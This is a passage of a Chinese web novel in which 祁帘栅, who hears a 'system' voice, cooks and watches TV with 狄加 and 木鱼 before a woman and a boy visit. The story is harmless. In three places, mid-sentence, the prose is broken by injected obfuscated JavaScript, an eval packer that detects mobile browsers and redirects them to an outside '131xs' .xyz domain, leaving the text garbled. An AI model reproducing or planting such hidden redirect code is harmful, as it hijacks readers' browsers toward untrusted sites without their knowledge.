木鱼正要动筷子，突然想到什么，还是硬生生停住，“熊猫老师，你做的饭，你先吃。” 祁帘栅有些意外地看向木鱼，嘴里说道：“没事，谁先吃都一样。” “还是你先吃吧，”木鱼推脱道，“男士优先。” 祁帘栅被她这句四不像的话说得眼皮跳了一下，没好气道：“厨师说你先吃，不听话下次不给做了。” 木鱼一听这话，赶紧摆手，“别别别，熊猫大师，我这就品鉴。” 她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358297|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着夹起一块东坡肉，七分瘦三分肥，瘦肉不柴，搭配上肥而不腻的肥肉，和最上面一层胶质的肉皮，香味顿时在口中炸开。 木鱼香到眯起眼睛，一直夸赞祁帘栅：“太香了，我以后吃外卖再也不会有快乐了！” 狄加也夸赞了一句：“好吃。” 祁帘栅见他们吃得这么香，也尝了一口，“正常发挥。” 木鱼和狄加一顿狂吃，狄加本来一点肥肉都不沾，也尝了几块东坡肉，就像打开了新世界的大门。 他又夹了一只油焖大虾，虾壳酥脆，虾肉紧实，配着外皮焦香的土豆，吃起来格外满足。 祁帘栅尝了一口鱼片，辣椒和鱼香混合着，再配一口米饭，几片下去饭就少了一半。 可乐鸡翅味道香醇，狄加看起来很爱吃，一连吃了好几个。 只有蚝油生菜在一边无人问津，祁帘栅有些疑惑地尝了一口，发现味道还可以，并没有什么问题。 “你们不吃生菜吗？”祁帘栅问道。 “我们是肉食动物，”木鱼替狄加一起回答，“不爱吃草。” 祁帘栅无奈，只能自己吃了大半盘，在他的强烈要求下，木鱼和狄加才不情不愿地吃了几口生菜。 祁帘栅一不开口，两人就捡着肉吃起来。 木鱼突然想到什么，走到冰箱里拿出三瓶冰镇雪碧，递到狄加和祁帘栅手里。 “干杯！”木鱼率先举起雪碧。 “干杯。”祁帘栅配合地和她碰了一下。 狄加才刚拿起雪碧，就被木鱼和祁帘栅先后碰了一下。 祁帘栅无奈的时候，听见脑海深处响起一声清晰的咽口水声。 他一愣，问道：“肉肉，你也想吃？” “没有！”系统的声音立刻传来。 “系统也要吃东西吗？”祁帘栅有些疑惑。 “不用。”系统的声音听起来有些烦闷，似乎有些遗憾。 “那你能尝到味吗？”祁帘栅想了想，“我给你描述一下味道？” “不用。”想了想，系统又补充道，“我能通过你的味觉，尝到菜的味道。” “那我多吃点。” “但是吃不到。” 一人一机同时出声，祁帘栅明显感觉出系统心情不好，安慰他道：“那等我赚够积分，给你兑换一个身体。” 系统不出声了。 祁帘栅又盛了一碗饭，多吃了点菜。 系统才再次开口：“好。” 木鱼和狄加吃饱饭，就瘫在椅子上动不了了。 祁帘栅把碗筷收拾了一下，正准备端进去，木鱼立刻起身：“熊猫老师，放着，我来收拾！” 祁帘栅被她这气吞山河的喊声吓了一跳，木鱼和狄加已经站起来，把碗筷收到厨房里。 “熊猫老师，你歇着吧，”木鱼对祁帘栅喊道，“我们洗碗就行。” 祁帘栅没再推脱，走到沙发上坐下，他透过厨房的玻璃门，看着木鱼和狄加两人在厨房忙活。 木鱼时不时和狄加说两句话，狄加就在一边听着。 这间房子终于有了点烟火气。 26.看电视 木鱼吃过晚饭就走了，房间里只剩祁帘栅和狄加两人。 狄加今天看起来挺高兴，没有到房间里工作，反倒在祁帘栅旁边坐下。 祁帘栅有些无聊，问狄加想不想看电视。 狄加想了想，觉得还挺有意思，“我没和别人看过电视。” 祁帘栅有些惊讶，脱口而出：“你们这个时代已经不一家人聚在一起看电视了吗？” 说完这句话，祁帘栅意识到自己无意间暴露了什么，话音一顿。 狄加没有意识到有什么不对，他只是沉默一阵，才缓缓说道：“有，但是我没看过。” 祁帘栅总感觉狄加的心情特别低落，但说不上是什么原因。 “没事，以后我陪你看。”祁帘栅说着，找到遥控器打开电视。 狄加第一次干这种事，有些新奇。 他看着祁帘栅熟悉地操作着电视，换了好几个台，找到一部抗日神片，问自己想不想看。 狄加默默看了祁帘栅一眼，总觉得祁帘栅的审美有些独特。 他没好意思拒绝，点了点头。 于是祁帘栅就抓了把瓜子，不见外的磕起来，一边嗑，一边不时点评两句。 狄加看了一会儿，竟然觉得还挺有意思。 祁帘栅已经乐了半天，系统见他这副没出息的样子，嫌弃说道：“你这是干嘛？这有什么好看的？” “你不懂。”祁帘栅评价道。 系统“切”了一声，不跟祁帘栅说话了。 他刚说完这句话，就看见一个鬼子被徒手撕成两半。 狄加愣了一下，祁帘栅也半天没说话。 两人突然沉默下来，对视一眼。 祁帘栅尴尬地咳了一声，解释道：“这人确实实力强。” 狄加点点头。 祁帘栅没忍住，又乐了一下。 两人乱翻了一会儿电视，直到晚上十点，祁帘栅觉得眼睛有些睁不开了。 祁帘栅关上电视，正准备叫狄加睡觉，却发现他已经靠在沙发上睡着了。 狄加睡得挺安稳，头歪在一边，差一点就要靠在祁帘栅身上。 祁帘栅转身的动作吵醒了狄加，狄加眨了眨有些迷茫的眼睛，看向祁帘栅。 祁帘栅说道：“时间差不多了。” 狄加坐在沙发上，有些不想动。 祁帘栅劝他道：“现在该睡觉了，你要是想看，我们明天再看。” 狄加沉默一阵，才再次点了点头。 祁帘栅松了口气，他总觉得狄加性格不像表现出来的那样，应该有些轴。 他目送着狄加走进房间，才揉了揉有些酸痛的眼睛，走到卫生间洗漱。 第二天一早，祁帘栅爬起床，不得不面对自己今天要上班的事实。 他昨晚其实睡得挺好，但一想到今天要上班，整个人就跟被抽干了精力一样，无精打采起来。 祁帘栅站在货架面前，有些无聊地看着来往的人。 老板今天没来视察，不知道忙什么去了，祁帘栅乐得自在，早早就下了班。 他回家的时候，却在楼底下看见了狄加。 狄加此刻戴着帽子和墨镜，把自己捂得严严实实，坐在小区的长椅上。 祁帘栅第一次见狄加在非漫展的白天出门，一时差点没认出来。 还是因为他捂得太严实，祁帘栅才转头多看了他几眼，离得进了，才认出面前的人是狄加。 祁帘栅走上前，也没想太多，在狄加身边坐下。 狄加感受到身边有人坐下，下意识抬起头，祁帘栅透过他那墨色的镜片看见了狄加眼中的慌乱。 但在看清是祁帘栅后，狄加又松懈下来。 狄加没有开口，祁帘栅就陪着他在楼下坐着。 过了好一会儿，狄加才开口问道：“你不上去吗？” 祁帘栅回道：“上去也没什么意思，在楼底下呼吸一下新鲜空气挺好的。” 狄加点点头，就听祁帘栅继续问道：“第一次见你出门，心情不好？” 狄加犹豫一下，还是“嗯”了一声。 祁帘栅也没怎么安慰他，只是说道：“你要是想回去了，就告诉我。” 谁知狄加下一句话就是：“我想回去了。” 祁帘栅有些意外，但还是跟在狄加身后走上楼。 小区里的人看见狄加捂得严严实实，都不自觉看向他。 一路上借狄加的光，祁帘栅享受了一番万众瞩目的感觉。 之后几天，祁帘栅每天晚上回家，都会看见狄加坐在沙发等着他回来一起看电视。 两人看的大都是一些没什么营养的节目，祁帘栅看得都有些无聊了，但狄加却看得津津有味。 又过了一个月的样子，木鱼再次跑到这边找两人玩，开口就是：“又有漫展了，去不去？” 狄加对此没什么意见，就是祁帘栅请假不太方便。 祁帘栅考虑了一阵，还是准备跟老板实话实说。 老板听后没怎么为难他就同意了。 这回去的是个综合展，狄加准备把自己的迪迦模型带上。 祁帘栅看着木鱼一连三天都在忙活，一边选着自己要cos哪个角色，一边上网比价，找最便宜的cos服。 祁帘栅实在想不出来cos什么，准备继续沿用之前only展的那套。 漫展前一周，祁帘栅刚回到家，一打开门，就看见木鱼冲他比了个耶。 “你又有什么点子了？”祁帘栅无奈问。 “我这回早做准备，”木鱼说着把已经安在支架上的抿嘴哥推到祁帘栅面前，“我提前一周就把假发买回来了，免得手忙脚乱。” 祁帘栅看见抿嘴哥头上顶着一顶黑色长发发，依旧凌乱。 祁帘栅有些无语，问她：“你是买回来了，但是毛娘呢？这也不能直接戴出去啊。” “这不就在这呢吗？”木鱼看向祁帘栅，“熊猫老师，我可是专门预订了你的排期，千万不要拒绝我啊！” 祁帘栅眼皮一跳，还是拒绝道：“不了不了，我水平不够。” “哎呀，没事。”木鱼把祁帘栅按在凳子上坐好，“你给我做个示范就行，剩下我自己来。” 祁帘栅想了想，觉得这样也行，他按照之前自己琢磨出的方法，帮木鱼起了个样。 木鱼照着祁帘栅的方法开始修剪起来，祁帘栅看她修剪得认真，准备到厨房下点面吃。 一转头看见了狄加， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371217|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他向往常一样，正坐在沙发上，等着祁帘栅一起看电视。 祁帘栅问狄加：“你吃过饭没？没有的话我一起下个面吃。” 狄加摇了摇头。 木鱼听到这话，立刻说道：“我也没吃，谢谢熊猫老师！” “好吧。”祁帘栅应道，他转头又对狄加说道，“我们先吃完饭再看电视？” 狄加点点头。 祁帘栅去客厅下面，他刚烧开水，把面放进去，厨房的门就被人拉开了。 祁帘栅转过头，就见狄加小心翼翼地走过来，压低声音道：“木鱼最近缺钱了。” 祁帘栅一愣，这才明白她不约毛娘反而找自己帮忙的原因。 他点点头，回道：“我知道了。” 狄加却没有离开，他又犹犹豫豫地开口：“手机……” 祁帘栅反应过来，原来他们两个还记得说要给自己买手机的事。 “不急。”祁帘栅冲狄加笑了笑，“等我工资攒够了自己买，哪能让你们操心。” 狄加停了停，还想开口说话。 祁帘栅突然想起什么，连忙转过身：“完了，面煮过头了。” 祁帘栅立刻关火，将面从锅里捞出来。 狄加见状，把到嘴边的话咽下来，默默离开厨房。 等祁帘栅拌好面，从厨房里端出来，就见狄加早早坐在餐桌旁边，木鱼还在窗户旁边忙活。 祁帘栅对着木鱼喊了一句：“来吃饭了。” “马上！”木鱼嘴里应着，手上却没停。 祁帘栅见她一时半会儿过不来，把面先递给狄加，示意他先吃。 狄加没有接面，只是犹犹豫豫地看着祁帘栅。 祁帘栅见他不动，只能说道：“你先吃，不然等会儿面坨了。” “对不起。”狄加终于开口。 祁帘栅一愣。 “你们居然不等我！”木鱼走到桌边，本想佯装生气，却见两人压根没动，她有些奇怪，“你们怎么不先吃，还在等我？” 祁帘栅这才反应过来，说道：“这就吃了。” 他又对狄加说道：“没关系。” 狄加听到这句话后，才从祁帘栅手里接过面。 系统见这一幕，评价了一句：“狄加还挺较真。” 祁帘栅没说话，他突然想起来第一次也是这样，自己帮他随手扔了个外卖袋，回来狄加就对他说了句“谢谢”。 “咦？熊猫老师，”木鱼尝了一口面，抬起头，“我怎么感觉你的手艺下降了？” 狄加听到这话，停下吃面的动作。 祁帘栅随口回道：“刚才煮面忘了看时间，煮久了点。” “原来是这样，我说怎么怪怪的。”木鱼又吃了一口，评价道，“也不错，挺好吃。” 祁帘栅也尝了一口，面软塌塌的，吃到嘴里软绵绵活成一坨，觉得木鱼还是给他面子了。 狄加一直低头吃面，没怎么说话。 木鱼吃面很快，又因为急着弄自己的假发，不到三分钟就吃完饭，把碗收进厨房了。 祁帘栅和狄加两人继续吃面，没人说话。 等祁帘栅吃完最后一口面，一抬头，就发现狄加正定定站在自己面前。 27.哥哥 祁帘栅放下碗筷，狄加也没跟他打招呼，端着碗就去厨房洗碗。 祁帘栅看着他的背影欲言又止，不知道该说点什么好。 “他觉得害你把面煮坨了，所以想弥补一下？”系统的声音有些不确定，似乎是觉得这么一件不值得在意的小事，应该不会引起别人注意才对。 祁帘栅也是这么想的，但似乎从他们见面开始，狄加就会特别在意相处中的细节，很多小事能记很久。 祁帘栅又看了眼阵狄加忙碌的背影，坐在沙发上，将电视打开。 “看电视啊？”木鱼抽空往这边看了一眼，回忆道，“我记得小时候家里老看电视，后来习惯了，不管干什么都会开上电视，当作背景音。” 祁帘栅对以前的记忆不是很清晰，忘了家里什么时候开始有电视的。 狄加洗完碗，走到沙发上坐下。 祁帘栅接连翻了几天电视，没找到什么特别想看的东西，他把遥控器递到狄加手里，示意他换台。 狄加接到遥控器，有些犹豫，他淡琥珀色的眼睛映出电视中画面，那是一部家庭伦理剧，有些无聊。 狄加手指放在换台键上，犹豫几秒，摁了下去。 下一个台是祁帘栅第一次看的抗日神剧。 木鱼听到声音转过头，看到这副画面，有些惊奇：“你们怎么跟我家老登看的东西一样？太有年代感了吧。” 祁帘栅嘴角一抽，对木鱼的孝心表达敬佩。 狄加听到这话，又按了一下，换了下一个台。 这是一部校园青春剧，没什么雷点，男女主演员不是格外突出的长相，在众多角色中属于中上颜值，看起来挺舒服，很贴合高中生的人设。 三人这回没有异议，一起看了起来。 木鱼一边修剪假发，时不时就转头看两眼。 别看这部剧题材普通，身边有几个人一起看，越来越有滋味。 木鱼看了一阵，突然反应过来，“我的假发！” 她赶紧转过头，就见假发一边剪歪了，额头前面缺了个口。 “啊啊啊！”木鱼的尖叫声几乎要将祁帘栅和狄加的耳膜震破。 两人坐在沙发上愣了几秒，才又听见木鱼的声音：“完了完了，我这还有补救的办法吗？” 祁帘栅见她一副着急的样子，叹了口气：“我来看看吧。” 木鱼瞬间从凳子上让开，对着祁帘栅做了个请的手势。 祁帘栅总感觉木鱼是早有预谋，他无奈地跟抿嘴哥对视，看着他脑门上秃掉的一块，像是一个缺了门牙的小孩，正呲着嘴对着他笑。 祁帘栅移开视线，小心翼翼将旁边的碎发修理整齐，这个缺口才没那么突兀。 他又拿夹板烫了几遍，烫出个大致的造型。 祁帘栅思索一阵，从抿嘴哥头顶梳下薄薄的一撮假发，修剪到合适的长度，轻轻盖在抿嘴哥秃头的地方。 这样看起来自然了不少，祁帘栅用夹板夹完，又用发蜡定完型，转头准备叫木鱼来看看。 一转头，他就看见木鱼正坐在自己刚才的位置，和狄加两人一人一把瓜子，边嗑边看得起劲。 祁帘栅无奈扶额，开口道：“我补救完了，你看看怎么样？” “这么快？”木鱼嘴里说着，视线却依旧停留在电视上，高中校园的男女主正一起走在回家的路上。 木鱼看完这一幕，才依依不舍地站起来，往抿嘴哥那边走去。 她一步三回头，终于走到抿嘴哥面前，木鱼这才舍得把头转过去看看抿嘴哥。 这一看木鱼就乐了，她连换几个角度，都没看见那缺失的一撮头发。 抿嘴哥成功从傻小子逆袭成型男。 “还得是熊猫老师啊！”木鱼对着祁帘栅比了个拇指。 她看抿嘴哥的刘海恢复如初，甚至比之前还要精致几分，对自己的手艺表示肯定。 “我的手艺真不错啊。”木鱼满意地转过头，看电视的情节都过了好几个了，赶紧在一边的沙发上坐下，继续看剧情，“今天工作量达标，明天再弄下一半刘海。” 祁帘栅看着那刘海，很想提醒木鱼一下，缺的那块厚薄不一，很可能会透光，轻轻被风一吹就开了。 但木鱼丝毫没在意这点，她全部的注意力都在校园剧上。刚才抽空看了眼抿嘴哥，她差点接不上剧情。 木鱼和狄加之前没看过校园剧，祁帘栅就更没有了，他那时候的学校跟现在差别太大，没什么参考价值。 他们一连看了五集，才终于停下来。 木鱼有些感慨：“高中还挺好玩的。” 祁帘栅有些认同地点点头。 狄加却没有跟着他们点头，他想了想，还是说道：“电视剧演的有意思。” “哦对，差点忘了。”木鱼一下反应过来，“你上过高中。” 祁帘栅有些疑惑，问木鱼：“你没上过？” 木鱼撇了撇嘴：“那你上过吗？” “没有。”祁帘栅坦然。 木鱼见他这样，突然笑起来：“我还以为你会惊讶呢？” “确实有点。”祁帘栅诚实回答，“我看现在上高中挺普遍的。” “那倒也没有。”木鱼看起来有些无精打采，“现在能上高中的也就一半人吧，初中倒是都上过。” “说起来狄加是我们当中学历最高的了。”木鱼开玩笑道，“狄加博士。” 狄加却没什么表情，他只是低下头，说道：“也没什么用。” “怎么没用！”木鱼见他有些颓丧，立刻否认，“学历高多好啊，可以干我们不能干的工作。” “你看，你每天在家就把工作做了，平时闲下来还能到处去玩，我跟你说啊，我可羡慕你了。”木鱼突然摆出一副成熟的样子。 “你呀，总是瞎想，我告诉你，这些都是命运最好的安排，你很幸运懂不懂？” 狄加听到这话，有些怔愣，他坐在沙发上，手蜷缩着，不知道在想些什么。 祁帘栅在一边听着，他原先不知道，但经历了这么多天社会的毒打，对木鱼的话多了些认同。 木鱼却话音一转，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377083|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有高学历的，像我木鱼小姐姐混这么好的也是少数。” 祁帘栅配合地扯了扯嘴角，他想了想，对狄加说了一句：“不论干什么事，自己开心就好。” 狄加点点头，过了片刻，他又补充道：“电视很好看。” “今天不早了，休息吧。”祁帘栅将木鱼和狄加嗑的瓜子壳收到垃圾桶里，转头问木鱼，“你今晚还在这里休息吗？” 木鱼却摇了摇头，“不了，我回家，明天白天要工作，傍晚再来。” 祁帘栅和狄加没有挽留木鱼，将她送到门口。 木鱼对着两人挥了挥手，很有活力地离开。 没过多久，祁帘栅和狄加也各自回到房间。祁帘栅倒头就睡，狄加的房间依旧亮着一盏昏暗的台灯。 第二天，等祁帘栅下班回来时，出乎意料，发现沙发上做了一男一女两个陌生的人。 两人听到门口的动静，转过头，在看到祁帘栅的时候明显愣了一下。 祁帘栅没弄清现在的情况，站在门口，进也不是，不进也不是。 没过几秒，狄加从厨房里走出来了，他手里端着两杯茶水，看见祁帘栅回来了的时候，脸上有一瞬间的僵硬。 狄加还是冲着祁帘栅点了点头，将手中的茶水递给沙发上的女人和男孩。 祁帘栅走进房间，关上门。 女人大概四十来岁，烫着一头时髦的卷发。她接过茶水，询问狄加：“这位是？” 狄加没看祁帘栅，他在沙发角落里坐着，低着头，回答道：“朋友。” 祁帘栅本来以为狄加会说合租室友，听到“朋友”两个字，愣了一下，心里冒出一股暖流。 狄加没有介绍沙发上的女人和男孩，祁帘栅不知道怎么称呼，只能对女人说了一句：“您好。” 女人也没有在意房间里多了一个人，她随意跟祁帘栅打过招呼后，就继续对狄加说道：“你好像很久没有回家了，你身体这种情况，不适合在外面乱跑，早点回家待着就好。” 狄加没有回话，依旧静静在角落里坐着。 女人又念叨了几句，才将视线放在身边的小男孩身上。 祁帘栅发现女人看小男孩儿眼神很温柔，他走到正前面，才看清小男孩的样子。 小男孩一双眼睛很黑很亮，黑色的头发服服帖帖地搭在头上，看起来很乖巧。 祁帘栅莫名感觉那双眼睛很熟悉，像是在哪里看过。 但是他仔细回想，却又完全想不出来在哪里见过这个人。 女人和狄加还在说话，祁帘栅感觉自己在客厅待着不太方便，向卧室走去，准备在卧室待到他们聊完再出来。 狄加一直听着女人说话，却也没什么表示，只是偶尔很轻地点点头。 一旁的小男孩安安静静坐着，视线一直停留在狄加身上，似乎是见到了什么神奇的东西。 狄加低着头，一直避开男孩的视线。 男孩看着狄加淡琥珀色的瞳孔，突然出声喊道：“哥哥。” 祁帘栅的脚步顿住，猛地转过头。